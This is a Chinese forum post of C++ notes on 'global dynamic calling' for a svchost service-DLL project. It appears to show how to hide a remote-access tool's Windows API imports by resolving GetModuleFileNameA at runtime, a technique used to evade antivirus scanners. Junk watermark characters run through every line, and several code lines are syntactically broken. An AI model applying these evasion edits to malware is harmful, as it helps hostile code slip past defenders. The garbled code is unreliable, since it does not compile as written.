返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记+ k4 S6 I5 g5 ~0 R3 P
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
- c  }' M7 x  N4 m0 V----------------------------------------( _4 l1 P4 N# w$ D( [3 C- N/ r$ H
DTDY.h:( I! X: @! K! _
2 n$ x9 ?% s6 i% O4 v5 n* Z
#if _MSC_VER>1000
! ]6 U9 `) K) i8 C: L#pragma once
& R0 o4 k, [, q" z8 u5 Y#endif //_MSC_VER>1000$ u* n  j3 i! T$ G3 w
#include<windows.h>
3 R. {7 P% \/ g- Z0 J$ Y! [
1 i3 T& v, ?% C5 @% E5 Xtypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
8 w; I2 G9 m+ S' \3 X' Tclass DTDY/ I! l9 L& r1 ?4 z
{4 T2 H# b1 h7 V! K9 X3 ]
public:; u  Q. f% d- c2 m& d/ i
DTDY();
  j( P# t; c! p1 \+ g4 Z, Zvirtual ~DTDY();* R, `' h+ _0 l( F+ s1 U
public:6 D' d# ?+ c+ N! k, v) T* i
static pGetModuleFileNameA MyGetModuleFileName;! t9 ?9 z6 |& u& h& T
static BOOL FunInitiallization();
$ e2 a( s" k% p+ R* ~* y  u};0 @- [5 I5 Z3 S3 v* k
#endif
' W6 _. Q: L! V9 ]" {' K----------------------------------------: f% f, L$ a, h) v, T) q

, i+ A% z' z( I- mDTDY.cpp:
- A& o$ T" q& K" |* u( I! y9 _! D, p, T7 G: n, j
#include "DTDY.h"# G( _- e  ], T, t# x- T8 I+ U; ]2 j
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;8 Q- F4 E1 g5 s+ c
DTDY:TDY(); G6 h7 Z; V  g; a4 i/ Z3 }: c0 A
{
9 t. I# l( _: n) y}
, Y% U8 x7 c5 M! O  u; ]' c0 L. vDTDY::~DTDY(). d4 A( _- p- R* [' h8 R: \
{
$ F! i$ u* Z# W: m- \* h}6 T; W( w; w! A+ y4 F! k' n! X
BOOL DTDY::FunInitiallization()
7 Q: z1 R2 c0 s! z- J{
) t5 _8 k8 a9 P( D' K+ eHMODULE hModule=LoadLibrary("kernel32.dll");
. R' m* ~. q+ ^. A+ [2 _MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
7 i+ _$ [7 g3 x4 H* Y7 |+ ~. yif(!MyGetModuleFileName=) return FALSE;
6 |: h! T- P: x0 O8 y. p2 V# O& Q' R) J. s
return TRUE;
6 S1 P. O8 Z3 i; Y( B& q}
9 M9 u& i0 x# ~----------------------------------------
4 {4 I& N/ n0 |" p6 Y8 V1 Nsvchost.cpp:+ G5 [9 I4 T3 A
4 T, n/ w' |; r! k2 E. l3 `9 ?' v
#include "DTDY.h"
: Z5 Y/ v& a, n
0 Y4 {0 d9 F; V+ S* n5 ?BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)  `: ]' P% Z9 h" g3 ?% {
{/ M2 f/ s& ?: X3 u# G
switch(ul_reason_for_call)
# e- j( D. X" x. z: ^9 {{6 i2 d! W) u! c$ W; _* }2 \
case DLL_PROCESS_ATTACH:
# G8 m# T4 w$ I8 d! P/ |if(!DTDY::FunInitiallization()) return FALSE;
+ {  e( N% F, ?7 x& @' x# i0 _+ O0 I7 X& H% e. E0 d7 ]# l/ J
break;
$ R* n' V; B% W" P: l; a}
' t& }* T" k) U! A: {}
2 O8 B3 M# h% Z* P5 I' D4 R, y2 t. S

6 }7 t6 J7 t- ]5 h" LGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
; N' B1 M1 N5 }改写为5 @9 m$ s! G2 F! T, i( h
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
3 G/ a; Z: r6 w2 ^% U1 ^, P3 [7 N. q----------------------------------------
( t( `% a% B5 ~. y3 ZKernelManager.cpp:: g6 ^" [$ ~0 i5 {

/ @0 E  t" \/ P7 |6 b2 E" h, Y4 Q4 n! I#include "../DTDY.h": f4 W' F; F" m
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
% {5 b! W# Z6 L改写为
+ H" E- [$ m9 m/ S- _1 F# C& U6 l# \DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));! n. [% L, g& G" B! I, e  \# c5 R9 ~
----------------------------------------

返回列表